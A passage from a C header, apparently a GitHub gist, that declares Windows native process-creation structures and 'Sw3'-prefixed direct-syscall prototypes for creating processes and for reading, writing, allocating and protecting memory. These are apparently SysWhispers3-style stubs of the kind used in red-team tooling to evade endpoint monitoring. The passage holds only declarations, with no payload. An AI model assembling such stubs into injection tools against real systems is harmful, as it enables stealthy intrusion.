PsCreateFailExeFormat,
PsCreateFailMachineMismatch,
PsCreateFailExeName,
PsCreateSuccess,
PsCreateMaximumStates
} PS_CREATE_STATE, *PPS_CREATE_STATE;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _PS_CREATE_INFO
{
SIZE_T Size;
PS_CREATE_STATE State;
union
{
// PsCreateInitialState
struct {
union {
ULONG InitFlags;
struct {
UCHAR WriteOutputOnExit : 1;
UCHAR DetectManifest : 1;
UCHAR IFEOSkipDebugger : 1;
UCHAR IFEODoNotPropagateKeyState : 1;
UCHAR SpareBits1 : 4;
UCHAR SpareBits2 : 8;
USHORT ProhibitedImageCharacteristics : 16;
};
};
ACCESS_MASK AdditionalFileAccess;
} InitState;
// PsCreateFailOnSectionCreate
struct {
HANDLE FileHandle;
} FailSection;
// PsCreateFailExeFormat
struct {
USHORT DllCharacteristics;
} ExeFormat;
// PsCreateFailExeName
struct {
HANDLE IFEOKey;
} ExeName;
// PsCreateSuccess
struct {
union {
ULONG OutputFlags;
struct {
UCHAR ProtectedProcess : 1;
UCHAR AddressSpaceOverride : 1;
UCHAR DevOverrideEnabled : 1; // from Image File Execution Options
UCHAR ManifestDetected : 1;
UCHAR ProtectedProcessLight : 1;
UCHAR SpareBits1 : 3;
UCHAR SpareBits2 : 8;
USHORT SpareBits3 : 16;
};
};
HANDLE FileHandle;
HANDLE SectionHandle;
ULONGLONG UserProcessParametersNative;
ULONG UserProcessParametersWow64;
ULONG CurrentParameterFlags;
ULONGLONG PebAddressNative;
ULONG PebAddressWow64;
ULONGLONG ManifestAddress;
ULONG ManifestSize;
} SuccessState;
};
} PS_CREATE_INFO, *PPS_CREATE_INFO;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
EXTERN_C NTSTATUS Sw3NtCreateUserProcess(
OUT PHANDLE ProcessHandle,
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK ProcessDesiredAccess,
IN ACCESS_MASK ThreadDesiredAccess,
IN POBJECT_ATTRIBUTES ProcessObjectAttributes OPTIONAL,
IN POBJECT_ATTRIBUTES ThreadObjectAttributes OPTIONAL,
IN ULONG ProcessFlags,
IN ULONG ThreadFlags,
IN PVOID ProcessParameters OPTIONAL,
IN OUT PPS_CREATE_INFO CreateInfo,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
EXTERN_C NTSTATUS Sw3NtReadVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress OPTIONAL,
OUT PVOID Buffer,
IN SIZE_T BufferSize,
OUT PSIZE_T NumberOfBytesRead OPTIONAL);
EXTERN_C NTSTATUS Sw3NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
EXTERN_C NTSTATUS Sw3NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
EXTERN_C NTSTATUS Sw3NtProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
EXTERN_C NTSTATUS Sw3NtTerminateProcess(
IN HANDLE ProcessHandle OPTIONAL,
IN NTSTATUS ExitStatus);
EXTERN_C NTSTATUS Sw3NtFreeVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG FreeType);
#endif
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment